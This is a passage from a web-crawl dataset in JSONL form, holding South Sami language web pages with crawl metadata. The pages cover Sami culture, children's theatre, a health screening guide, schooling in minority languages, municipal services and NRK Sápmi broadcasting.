åsta","id":"","dump":"CC-MAIN-2018-13","url":"http:\/\/sijtijarnge.no\/slovves-mierehke\/","date":"2018-03-18T23:11:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257646178.24\/warc\/CC-MAIN-20180318224057-20180319004057-00119.warc.gz","language":"sma","language_score":0.9999389648,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"sma_Latn_score\": 0.99993896484375}","num_words":97,"character_repetition_ratio":0.023,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.021,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Akte dejstie mij åadtjoeji Sveerjen kultuvre ministerem Alice Bah Kuhnkem daan våhkan Staaresne, Sveerjen bielesne gaavnesjidh lea Gaaltijen åejvie Jerker Bexelius. Dihte bievnedi man geerve lea jih beetneh-vierhtieh ohtsedidh jih åadtjodh.\n– Tjoeveribie daelie rååresjidh gie mij dïedtem åtna jih åarjelsaemien kultuvrem vaarjelidh. Daan mearan Gaaltije jijtjen prosjeekte beetneh-vierhtijste vyøseme. Daelie dah beetnegh nåhkeminie, jis ibie lissiem daelie Staateste åådtje ,dellie tjoeveribie Gaaltijem orre jaapan dahpedh, Bexeliuse jeahta. Daam dihte Länstidningen.se tjaaleme.\nStaaten dïedte jih saemien kultuvrem vaarjelidh.\nDihte Sveerjen kultuvreministere Alice Bah Kuhnke golteli jih hahkehti.\n– Ussjedem daate øøvre nåake. Geerjene sjidtem daan bijre daelie govleme. Daate mannem eadtjaldovva. Daelie sijhtem dah saemien reaktoe jih åarjelsaemiej åvteste barkedh, Kuhnke jeahta.\nDihte kultuvreministere dåajvoehtisti edtja daan bijre reektehtidh jih aaj sæjhta daam Gaaltijen daltesereektehtsem lohkedh.\nGaaltije lea åarjelsaemien kultuvre jarnge, Staaresne Sveerjen bielesne. Seamma vihkeles kultuvre jarnge goh Saemien Sijte, Snåasesne.\n.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.nrk.no\/sapmi\/aarjelsaemien-kultuvrejarnge-gaaltije_-sveerjen-bielesne-beetnegapth-1.12312646","date":"2018-03-18T03:54:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257645513.14\/warc\/CC-MAIN-20180318032649-20180318052649-00407.warc.gz","language":"sma","language_score":0.9999961853,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999961853027344}","num_words":140,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.107,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"PLUPPE – akte dejstie ov-våajnoes vaeresne\nDaate teaterestuhtje Pluppen jïh altese voelpi bïjre, båata såemies dejstie gærjijste seamma nommine mejtie tjaelije Inga Borg lea tjaaleme. Daate dorjesåvva aktene lïhke laavenjostosne Norrlands Musikk- och dansteaterinie Estrad Norr Jïemhtesne\/Hïerjedaelesne. Jeatjah laavenjostoeguejmieh leah Noerhte-Trööndelagen jïlleskuvle jïh Beaivvas Sámi Teahtere.\nPlaavejaevrien lïhke Pluppe årroeminie sov voelpigujmie ektine mej nommh Tjeskie jïh Slamma – tjetskie jïh sluemege. Altese voepth leah plaave goh bïevlh gïjrege jïh altese tjeapohkenlijnie moerine slomtjeminie tjaktjege. Ij guhte maehtieh dam vuejnedh jallh govledh gænanh. Dah ajve viskes tjaktjelasth bïegkesne vuejnieh. Dah gïjrejohkem guvlieh mij tsirkeste. Men mijjieh hov buerebe daejrebe.\nGaerjah\/Illustrasjovne: Inga Borg\nDramatiseradimmie: Cecilia Persson\nMusihke: Frode Fjellheim\nRegije: Haukur Gunnarsson\nProsjekten dåarjojh: Interreg Sápmi, Saemiedigkie Nöörjesne, Saemieraerie jïh Nordlaanten Fylhkentïelte.","id":"","dump":"CC-MAIN-2018-17","url":"http:\/\/www.asteatere.no\/pluppe-akte-dejstie-ov-vaajnoes-vaeresne\/","date":"2018-04-24T14:27:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946721.87\/warc\/CC-MAIN-20180424135408-20180424155408-00028.warc.gz","language":"sma","language_score":0.9996929169,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9996929168701172}","num_words":119,"character_repetition_ratio":0.014,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.092,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jeenjemes vaestiedassh eah naan jeatjahtehtemh vuesehth\nGovhte våhkoej raejesne byöroe prieviem pryövenassevaestiedassine åådtjeme, mohte muvhtene maahta guhkebe tïjjem vaasedh. Medtie 95 pryövenassh 100 pryövenassijste leah cellejeatjatehtemh namhtah jïh normaaline vuarjasjidh. Vaestiedassem åådtje rïekte gåetide laboratovrijeste seedtedh.\nJis pryövenassem vadteme gynekologedåastoevisnie jallh preventijvevierhtiedåastoevisnie dellie daamhtaj dïhte gie pryövenassem vaalteme gïen dïedte vaestiedassem vedtedh.\nOvsïejhme tsiehkine idtji maehtieh pryövenassem analyseeredh, vuesiehtimmien gaavhtan jis jïjnjh gujnelemmievïrrem dan sisnie. Dellie orre cellepryövenassese gohtje.\nJis pryövenassesne cellejeatjahtehtemh\nJis pryövenasse cellejeatjahtehtemh vuesehte dellie dam vijresåbpoe goerehtidh. Jis geehpes cellejeatjahtehtemh åtna jïh 30 jallh 35 jaepieh illeme, aaltereraaste jeatjahtahta gusnie årroeminie laantesne, dellie pryövenasse daamhtaj viruseteestine goerehtidh. Teeste vååksjede jis HPV typem åtna, humaneles papillomviruse, maam vaahra boernengåetiecancerasse vadta. Ajve dejtie giej seammasïenten daam HPV-typem utnieh tjuerieh goerehtæmman båetedh. Jis geehpebe cellejeatjahtehtemh åtna man ij dagkeres virusem utnieh daarpesje barre orre cellepryövenassem jaepien mænngan vaeltedh.\nGaajhkh cellejeatjahtehtemi bïjre nyjsenæjjine gïeh nuerebe 30 jallh 35 jaepieh daelie dejtie jiehtieh buerie jis gynekologe dejtie goerehte, mohte aaj såemies sijjine laantesne dan sijjeste gohtje orre cellepryövenassevadtemasse tsegkietnien luvnie. Nyjsenæjjah båarasåbpoe 30 jallh 35 jaepieh gïeh jeatjah cellejeatjahtehtmh utnieh goh dejtie geehpemes, rekommanderade gynekologe edtja dejtie goerehtidh.\nCellepryövenassevaeltemh eah ellies vaarjelimmiem vedtieh canceren vööste\nJaabnan cellepryövenassevååksjemh vedtieh tjarki vaarjelimmiem boernengåetietjeapohkecanceren vööste, mohte ij leah ellies. Maahta boernengåetietjeapohkecancerem åadtjodh jïlhts cellepryövenasse normaale orreme, mohte dïhte dan ovsïejhmes. Jaabnan cellepryövenassevååksjemen lissine byöroe åålegh dan gaavhtan hoksem ohtsedidh jis bertedh gosse boetjedh, jis gellien aejkien bertedh gujnelemmiej gaskem, jallh aalka bertedh dan mænngan gujnelemmie orriji.\nMaahta åålegh skïemtjehokseraeriestæmman ringkedh jïh raeriem åadtjodh jïh dejnie soptsestalledh.\nMaahta aerkies damtedh åvteli pryövenasse vaeltedh jïh pryövenassevaestiedassem åadtjodh\nCellepryövenassem vedtedh maahta vaejvie damtedh Maahta vuesiehtimmien gaavhtan aerkies damtedh dan tïjjen gosse pryövenassevaestiedimmiem vuertedh. Dellie hijven ussjedidh cellepryövenassevaalteme hijven vuekie canceren vööste vaarjelidh. Dah jeatjahtehtemh mejtie aajhtsa maahta daamhtaj aelhkies operasjovnine laahpehtidh guktie ij cancere evtedh båetije aejkien.\nDïhte dan ovsïejhme pryövenasse vuesehte evtiedamme cancerem åtna. Gosse cancerem aajhtsa cellepryövenassevååksjemen tjïrrh dellie pråvhka dan aareh tsiehkine årrodh båehtjierdimmie aelkebe jïh vaenebe lissiehdåårresinie. Cellepryövenassen tjïrrh maahta skïemtjelassem aajhtsedh jïh vaarha alvas skïemtjedidh unnede.\nJïjtje nænnoste jis pryövenassh edtjieh vöörhkedh\nPryövenasse maam cellepryövenassevaaltemisnie veelti pråvhka vöörhkedh. Vuesiehtimmien gaavhtan maahta båeries pryövenassh mohtedidh båeries pryövenasside jïh ovmessie dåeriedimmieh darjodh. Pryövenasside maehtieh aaj dotkemasse jallh jeatjah aajkojde nåhtadidh mejtie dotkemeetiken dåehkie dåhkasjahteme. Jis ij sïjhth pryövenassem båetije biejjide vöörhkedh maahta dam jiehtedh dïsse gie pryövenassem vaalta, jïh pryövenassem dan mænngan bihtedidh.\nBïevnesh pryövenassevaaltemen bïjre aaj kvaliteeteregisterisnie vöörhkedh maam nåhtadidh gosse hoksem buaranidh. Jis ij sïjhth jïjtje bïevnesh edtjieh dejtie nåhtadidh maahta krïevedh dejtie destie vaeltieh.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.1177.se\/Halland\/Nationella-minoritetssprak\/Nationella-minoritetssprak\/Sydsamiska\/Undersokningarprover\/Gynekologisk-cellprovtagning\/","date":"2018-04-22T16:26:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945624.76\/warc\/CC-MAIN-20180422154522-20180422174522-00153.warc.gz","language":"sma","language_score":0.9999836683,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999836683273315}","num_words":404,"character_repetition_ratio":0.098,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.04,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jerkie aalka duarstan, njoktjen 3. biejjien jïh vaasa aejlegen, njoktjen 6.b. 2016 raajan. Jerkie lea Vatnlia jerkiesijjesne Bådåddjon ålkoelisnie. Laavadahken edtjebe bussine mïnnedh Dragen gåajkoe Divtasvuodnesne. Skyllijemaanajerkie lea dan åvteste dovne pijtesaemien jïh julevsaemien dajvine. 22 noerh golme åålmegijstie dejnie golme noerhtemes bïspedajvine båetieh.\nSkyllijemaanah edtjieh meatan årrodh gyrhkesjimmiem darjodh jïh meatan årrodh darjoeminie ålkone jïh gåetesne. Mijjieh sïjhtebe dejtie golme saemien gïelide, åarjelsaemien, julevsaemien jïh noerhtesaemien, abpe jerkesne nuhtjedh lissine nöörjen. Mijjieh darjomh jïh eejehtimmiem sjïehteladteme guktie gaajhkesh edtjieh damtedh dah akte bielie ektievoeteste sjidtieh.\nSaemien gærhkoeraerie, ovmessie åålmegh gusnie saemieh årroeh jïh doh golme noerhtemes bïspedajvh ektesne Saemien skyllijemaanajerkiem soejkesjieh jïh tjïrrehtieh. Mijjen ulmie lea noerh meatan utnedh abpe laanteste. Saemien gærhkoeraerie lea noere åvtehkh ööhpehtamme gellie jaepieh saemien noerehïeljine. Saemien noere åvtehkh leah vihkeles meatanbarkijh skyllijemaanajerkesne.\nGovlehtallije:\nTove-Lill Labahå Magga\nRaeriestæjja jaahkoeööhpehtimmie\nSaemien gærhkoeraerie\nE-påaste: firstname.lastname@example.org\nTlf: 23081233","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/kirken.no\/nn-NO\/om-kirken\/slik-styres-kirken\/samisk-kirkeliv\/adasa---nyheter\/samisk-konfirmantleir-20162\/","date":"2018-04-26T17:02:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948426.82\/warc\/CC-MAIN-20180426164149-20180426184149-00092.warc.gz","language":"sma","language_score":1.0000025034,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"sma_Latn_score\": 1.0000025033950806}","num_words":137,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.153,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Du är här:\nLearohkh mah naan dejnie nasjonellen unnebelåhkojne reaktam utnieh ietniegïeleööhpehtæmman dejnie byjjes unnebelåhkoegïeline såevmiegïele, meänkieli, saemiengïele, romaani chib jïh jiddisch. Aaj reaktam utnieh jïlhts ij learohke våaromemaahtoem utnieh gïelesne jïh seamma jis gïele gåetien aarkebiejjiegïele jallh ij lea. Ij kreavasovvh sjïere låhkoe learoehkijstie gïelese tjaalasovveme. Jis tjïelte edtja maehtedh ietniegïeleööhpehtimmiem faaledh dellie tjuara sjïehteles lohkehtæjja gååvnesidh.\nLearohkh maehtieh unnebelåhkoegïelem lohkedh, voestes jallh mubpiegïeline. Kuvsjesoejkesje voestes gïeline learoehkidie mah våaromemaahtoem utnieh jïh gusnie unnebelåhkoegïele lea aarkebiejjien gïele gåetesne. Kuvsjesoejkesje mubpiegïeline learoehkidie mah eah våaromemaahtoem gïeline utnieh jïh sijhtieh daam lïeredh.\nJis sæjhta nasjonellen unnebelåhkoegïelem jåarhkeskuvledaltesisnie dellie tjuara learohke hijven maahtoem gïelesne utnedh.\nAarh skuvleklaassesne maahta tjïelte faaledh ietniegïeledåarjoem unnebelåhkoegïelesne bieline sïejhme learohkedåehkesne jïh barkosne.\nLearohken åelieh tjuerieh ietniegïeleööhpehtimmiem ohtsedidh. Skuvlen rektovre dan bïjre sjæjsjalidh.\nGaskesadteme\nJis sïjhth vielie bïevnesh ietniegïeleööhpehtimmien bïjre unnebelåhkojde, gaskesadth Karin Andersson, Flerspråkigt centrum, 073 – 274 56 01 jallh e-påastem seedth email@example.com.","id":"","dump":"CC-MAIN-2018-17","url":"http:\/\/www.ornskoldsvik.se\/omsorgochhjalp\/invandringintegration\/otherlanguagespublicinformation\/aarjelsaemien\/skuvleoohpehtimmie\/ietniegielenasjonellenunnebelahkojde.4.4c4feec515e441a88a91fa24.html","date":"2018-04-24T01:15:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946314.70\/warc\/CC-MAIN-20180424002843-20180424022843-00529.warc.gz","language":"sma","language_score":0.9999738932,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"sma_Latn_score\": 0.9999738931655884}","num_words":142,"character_repetition_ratio":0.102,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.092,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Startsida\n- Funktionsmappar\nStaare jïh dah stuerebe voenh leah tjïelten luajhtemh meatan. Stööremes luajhtemhvierhke lea Ön´esne, gaskoeh Upmejen jeanosne. Jollegraadh reejnemen mænngan dam jeanoen stræjmese luajhta. Dïhte mij aajmene reejnemen mænngan pelleterieh jïh bååstide eatnemasse gjöödselinie åtna.\nVoenesne jïh eejehtsdajvine daamtaj tjuara sjïere luajhtemh öörnedh. Tjaetsieohtjegåetide (WC) edtja dellie byjreske- jïh healsoevaarjelimmie moenehtsen luhpiem ohtsedidh. Dah raeriestæjjah byjreske- jïh healsoevaarjelimmie moenehtsisnie dan mænngan goerehtieh maam destie båata jïh guktie dïhte soejkesje byjreskem dæjpa, v.g. jis naan dåeriesmoerh destie sjïdtieh, tjaetsiem deejrehte. Daamtaj dejtie haammode laejriejuakame golme kammarh gusnie luajtemhtjaetsiem reejnie. Reejnemen mænngan tjaetsiem eatnamasse filtrere. Gosse ohtsedimmiem gietede dan åvteste tjuara maeksedh.\nJis gyhtjelassh tjïelten luajtemh, Vakin´m bieljeldh. Jis gyhtjelassh sjïere luajhtemh, byjreske- jïh healsoevaarejelimmiem bieljeldh.\nByjreske- jïh healsoevaarjelimmie, telefovne: 090-16 16 97\nVakin, telefovne: 090-16 19 00, e-påaste: firstname.lastname@example.org\nSidan har granskats 2016-12-20\nUmeå är en kulturstad i Europa. Här finns två universitet, ett livskraftigt näringsliv och ett attraktivt utbud av kultur och fritid.\nUmeå kommun är regionens största arbetsgivare. Med gemensamma krafter skapar vi välfärd och samhällsnytta för kommunens invånare.","id":"","dump":"CC-MAIN-2018-22","url":"http:\/\/www.umea.se\/umeakommun\/funktionsmappar\/sprak\/languages\/samegielat\/siebredahkehoksetimmieh\/luajhtemh.4.2aeb902411d30c9e460800061444.html","date":"2018-05-24T10:03:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794866201.72\/warc\/CC-MAIN-20180524092814-20180524112814-00639.warc.gz","language":"sma","language_score":0.9997482896,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9997482895851135}","num_words":164,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.061,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daan feestivalen åejvieulmie lea jih åerjelsaemide Nøørjen jih Sveerjen bieleste tjøøngkedh guktie edtjieh gaavnedidh jih lustestalledh. Daate feestivale saemide jih daate feestivale maahta aaj jeatjah almetjidie saemien kultuvrem vuesiehtidh.\nMaanah jih noeride.\nDaate feestivale edtja vihkeles gaavnesjimmie sijjie saemien maanah jih noeride årrodh. Maahtoedorjehtimmie jih kulltuvregaavnjesjimmie sijjie.\nDiekie dellie Åaerjelsaemien teatere båata jih edtjieh vuesiehtimmiem \"Ulven Ylva\" vuesiehtidh.\nDihte joejkeles kaarre Jon Henrik Fjällgren, mij daam \"Talang Sverige \" daan jaepien vitni edtja joejkekonsertem utnedh, voestemes maanah jih noeride jih daan mænngan geerve almetjide.\nMaahta vielie saernieh daan Raasten Rastah sæjroebielesne lohkedh.","id":"","dump":"CC-MAIN-2018-22","url":"https:\/\/www.nrk.no\/sapmi\/raasten-raastah-roorovsesne-1.11796224","date":"2018-05-24T18:22:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794866733.77\/warc\/CC-MAIN-20180524170605-20180524190605-00046.warc.gz","language":"sma","language_score":0.9999974966,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999974966049194}","num_words":91,"character_repetition_ratio":0.094,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.154,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maam daen biejjien gaskebeajjan? Åvla gihtjie goh edtja skovlese vaadtsajidh. Tjidtjebe joe barkose vualkeme. Aehtjebe lea buerteste vaeltieminie. Daen biejjien edtja moerh låadtodh, bovresne minnedh jih gaskebiejjiem voessjedh.\n– Im manne jis daejrieh, aehtjebe vaestede.\n– Åadtjoem gujht vuejnedh maam bovresne gaavnem.\nAehtjemes gujht daajra, joekoen beapmoeh vuertieh gosse satne gåetesne abpe biejjiem. Daejrieh buerebe gosse astosne maahta beapmoeh voessjedh. Tjidtjemes fierhten biejjien barkosne, gåetide båata gosse maanah skovleste båetieh. Gaaj hkesh leah bårrestohteminie, guktie tj idtj emes tjoevere varki gaskebiejj iebeapmoeh jurj iehtistedh.\nNov gujht maanah aaj viehkiehtieh. Akte pearah bæssa jih mubpie jis buartan barta, gåalmede jis maam joem gilmehtahkeste veadtja jis leab åajaldahteme aereden viedtjedh guktie åådtje leamkedh.\nÅvla aavode daen biejjien skovleste båetedh gosse beapmoeh gaervies jih buertie bartaldihikie.\nLuste daajreme maam sån aehtjie lea ussjedeminie voessjedh, Åvla jiermestalla goh vualka skovlese vaedtsien","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/sijtijarnge.no\/maam-daen-biejjien-gaskebeajjan\/","date":"2018-06-24T06:50:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267866888.20\/warc\/CC-MAIN-20180624063553-20180624083553-00257.warc.gz","language":"sma","language_score":0.9999790192,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"sma_Latn_score\": 0.9999790191650391}","num_words":135,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.059,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Home\nSkuvle steegkesovvi, faagebyjrese jåarhka\nÅarjelsaemien faagebyjrese Elgåesne lea nuhteligs sjïdteme Saemien lohkeme-jarngese. Gosse dajven skuvle lij steegkeminie, faagebyjrese lij göölege goevtesinie sjïdtedh Saemien lohkemejarngese.\nMearan Saemien lohkemejarnge lij ryöjredeminie goevtesem tseegkedh åarjelsaemien dajvesne, dellie lin gïehteleminie skuvlem steegkedh Elgåesne. Dan åvteste joekoen hijven sjïehti dïhte joe tseegkeme åarjelsaemien faagebyjrese akte bielie saemien lohkemejarngeste sjïdti, akte åarjelsaemien goevtese mij edtja jarngen laavenjassigujmie barkedh åarjelsaemien gïeledajvesne.\nSkuvlegåetesne Elgåesne Elin Fjellheim daelie Saemien lohkemejarngen barkoem stuvreminie aktene bieliebarkosne. Dan lea govhte guejmiebarkijh mah tjåanghkan bieliemubpene barkosne berkieh. Doh jeanatjommesh dejstie almetjijstie leah meatan orreme dam åarjelsaemien faagebyjresem tseegkedh Elgåesne. Daennie dajvesne saemien gïele lij vaahresne ij vielie boelveste boelvese sertiestovvedh. Eejhtegh eelkin dan vööste barkedh 90-låhkoen, jïh buektiehtin aktine prosjektine nïerhkedh man ulmie lij maanide lïerehtidh saemiengïeline sjïdtedh. Aarebi maanah daennie dajvesne lin saemieskuvline vaadtseme gellie luhkie mïjlh guhkene, daelie idtjin sïjhth dam vielie darjodh.\nJaepien 2001 aktine 5-jaepien prosjektine eelkin Elgåen byjjenimmiejarngesne - gusnie skuvle jïh maanagïerte hööltestin. Doh saemien eejhtegh lin tsevtsiedæjjah prosjektese, mij beetnehvierhtieh åadtjoeji Saemiedigkeste. Prosjekten ulmie lij maanah edtjin guektiengïeline sjïdtedh mænngan maadthskuvlem orrijamme. Juktie daam ulmiem jaksedh tjoerin tjarki barkedh ihke gïele edtjih govlelgidh, lïerehtimmiegïeline sjïdtedh jïh learoevierhtieh darjodh dovne skuvlese jïh maanagïertese. Prosjekte tjïrrehtamme sjïdti jïh dejnie hijvenlaakan lyhkesin, jïh maanah Svahken sïjtesne åadtjoejin saemien lïeredh hïejmesne. Daelie akten boelhkese båateme gusnie ij leah jienebh maanah maadthskuvleaaltarisnie gelliej jaepiej minngelen. Skuvlen faagebyjrese lea Saemien lohkemejarngese jåhteme.\nSaemiej åålmegebiejjien 2013 sjïekenisnie akte byögkeles rïhpestimmie öörnesovvi Saemien lohkemejarngeste. Akte bielie rïhpestimmeste lij latjkoem jååhkesjidh Saemiedigkien, Engerdalen tjïelten jïh Saemien jïlleskuvlen\/Saemien lohkemejarngen gaskem, jaepien 2015 raajan. Daate latjkoe gorredi dam faagemaahtoem tjåadtjoehtidh mij lea bæjjese bigkeme, jïh dan åvteste Elin Fjellheim jïh doh mubpieh leah jåarhkeme learoevierhtieh darjodh, teermebarkojne jïh jeatjah gïeleprosjektigujmie, juktie skuvlefaalenassem åarjelsaemien maanide nænnoestehtedh. Jis Saemien lohkemejarnge, åarjelsaemien goevtese, edtja jåerhkedh juhtedh, dellie daerpies politihkeles væljojne jïh vierhtiejgujmie, jïh lea mij akt mejnie jarnge daelie barkeminie.","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/lohkanguovddas.no\/sma\/saemien-lohkemejarnge","date":"2018-06-22T07:11:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267864364.38\/warc\/CC-MAIN-20180622065204-20180622085204-00164.warc.gz","language":"sma","language_score":1.0000019073,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 1.0000019073486328}","num_words":307,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.121,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Almetjehealsoe\nAlmetjehealsoebarkoe lea siebriedahken tjåenghkies barkoe juktie tjåadtjoehtidh, bueriedidh jïh eadtjoestidh almetji healsoem, jïh jeatjah gaavhtan faktovrh giehpiedidh mah maehtieh vaahrine årrodh healsose. Almtjehealsoe aaj akte lahtese mij buerkeste guktie lea årroji healsojne, jïh guktie healsojne dej ovmessie sosijaale årrojedåehkiej gaskem.\nAlmetjehealsoebarkoe edtja aaj viehkiehtidh sosijaale healsoejoekehtsh jaabnedidh.\nAlmetjehealsoe vihkeles ektiedahkoereformesne\nBarkoe mij heerrede jïh healsoem skreejrie lea vihkeles dovne healsoesuerkien sisnie jïh ålkolen. Almetjehealsoelaaken tjïrrh fylhkentjïelth jïh tjïelth åejviedïedtem åådtjeme dan gamte almetjehealsoebarkoen åvteste mij lea siebriedahken vööste stuvreme.\nFylhkenålma edtja hoksedh almetjehealsoe soejkesjinie gorresåvva\nFylhkenålma edtja skreejredh staateles råajvarimmieh tjïrrehtidh almetjehealsoesuerkesne. Dïhte gamte almetjehealsoebarkoe edtja aktem monnehke evtiedimmiem siebriedahkeste hoksedh, jïh soejkesjimmie dannasinie akte vihkeles tsavtshvierhtie sjædta. Raeriej jïh bïhkedimmien tjïrrh tjïeltide jïh jeatjah aktööride, Fylhkenålma edtja gïehtjedidh almetjehealsoe meatan sjædta tjïelten, regijovnen jïh staaten sojekesjinie. Fylhkenålma edtja aktine åeliedihks ektiedahkojne aktööri gaskem.\nFylhkenålma maahta vaaksjodh tjïelth jïh fylhkentjïelth sijjen dïedth illieh almetjehealsoesuerkesne.","id":"","dump":"CC-MAIN-2018-30","url":"https:\/\/www.fylkesmannen.no\/sma\/Oslo-jih-Akershusen\/Healsoe-jih-hokse\/Almetjehealsoe\/","date":"2018-07-21T22:56:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676592861.86\/warc\/CC-MAIN-20180721223206-20180722003206-00499.warc.gz","language":"sma","language_score":1.0000013113,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"sma_Latn_score\": 1.000001311302185}","num_words":145,"character_repetition_ratio":0.117,"word_repetition_ratio":0.0,"special_characters_ratio":0.114,"stopwords_ratio":0.138,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NRK Sápmin programmh leah dovne stuvreme dej saemien årroji vööste jïh dej jeatjah årroji vööste saemien dajvesne (Saepmie). Dah programmh mah leah stuvreme årroejidie gaajhkine daejnie golme laantine, dejtie dah saemien kringkasterh Sveerjesne jïh Såevmesne ektesne darjoeh, mah åejviedïedtem utnieh dan saemien sisvegen åvteste daejnie laantine. Muvhth dejstie NRK Sápmin saernijste jïh jeatjah programmeboelhkijste seedtesuvvieh aaj gelline jeatjah laantide aalkoealmetjigujmie.\nNRK Sápmin åehpemes programmh TVsne leah \"Ođđasat\" jïh \"Mánáid-TV\". Men Sámi Radion saadtegh raadijovisnie, mejtie NRK Sápmi lea dorjeme jïh seedteme guhkemes. Dah gïelh mejtie NRK Sápmi nuhtjie leah noerhtesaemien, nöörjen, julevsaemien jïh åarjelsaemien.\nTV:\nOđđasat\nOđđasat lea noerhtelaanti-saemien TV-saernieh, mah seedtesåvva dovne Nöörjesne, Sveerjesne jïh Såevmesne. Nöörjesne Ođđasat seedtesåvva kanaaline NRK1 (ts. 1730) jïh NRK2 ts. 2125). Sveerjesne Ođđasat seedtesåvva kanaalesne SVT2 jïh Såevmesne YLE 5'sne. Ođđasat akte laavenjostoe gaskem NRK, YLE jïh SVT jïh seedtesåvva NRK Sápmiste Karasjohkesne (Nöörje). Datne maahtah aaj Ođđasat daesnie vuejnedh:\nMánáid-TV\nMánáid-TV lea maana-TV saemien gïelesne, mij seedtesåvva kanaaline NRK1 jïh NRK Super. Manaid-TV maahtah aaj daesnie vuejnedh:http:\/\/tv.nrk.no\/serie\/manaid-tv-samisk-barne-tv. Lissine akte faalenasse saemien maanide daesnie:\nSaemien kategorije\nAkte jïjtse saemien kategorije TV-spielerisnie nedtesne gååvnese, gusnie maahtah programmh ikth vielie vuejnedh. Dam daesnie gaavnh:\nJuktie gaajhkide programmide gaavnedh saemien aamhtesi bïjre, tjoerh læjhkan programmenommen mietie syökedh dennie alfabetiske læstosne.\nRaadijove:\nSámi Radio\nNRK Sápmin raadijovefaalenasse lea \"Sámi Radio\". Dah saadtegh leah dovne noerhtesaemien, nöörjen, julevsaemien jïh åarjelsaemien gïelesne. Maahtah saadtegidie govledh kanaaline NRK P2, DAB jïh daesnie:\nMuvhth dejstie Sámi Radion saadtegijstie leah ektiesaadtegh såevmien jïh sveerjen samiraadijovinie ektine. DABsne jïh nedteraadijovisnie saadtegh abpe dygnen, reprijsigujmie jïh musihkine\/joejkine.\nAeredssaadtegh\nAeredssaadtege Sámi Radiosne lea gaskem 0700 jïh 0900. Saadtege lea noerhtesaemien gïelesne jïh datne maahtah dam daesnie goltelidh saaht gåessie: https:\/\/radio.nrk.no\/serie\/buorre-idit-Sápmi\nIehkedsbiejjiesaadtege\nIehkedsbiejjiesaadtege aalka 1330 jïh ryöhkoe ts 1730 raajan. Gaajhkh raadijovesaadtegh maahtah govledh kanaalesne NRK P2 jïh DABsne jïh aaj daesnie https:\/\/radio.nrk.no\/direkte\/Sápmi\nHïeljesaadtege\nHïelji jïh bissiebiejjiej NRK Sápmi gaskem 0800 jïh 0900 seedtie.\nSaadtege julevsaemien gïelesne\nSámi Radion saadtege julevsaemien gïelesne lea måantan jïh gaskevåhkoen tsåahka 1345 kanaalesne NRK P2 jïh DABsne. Saadtegem 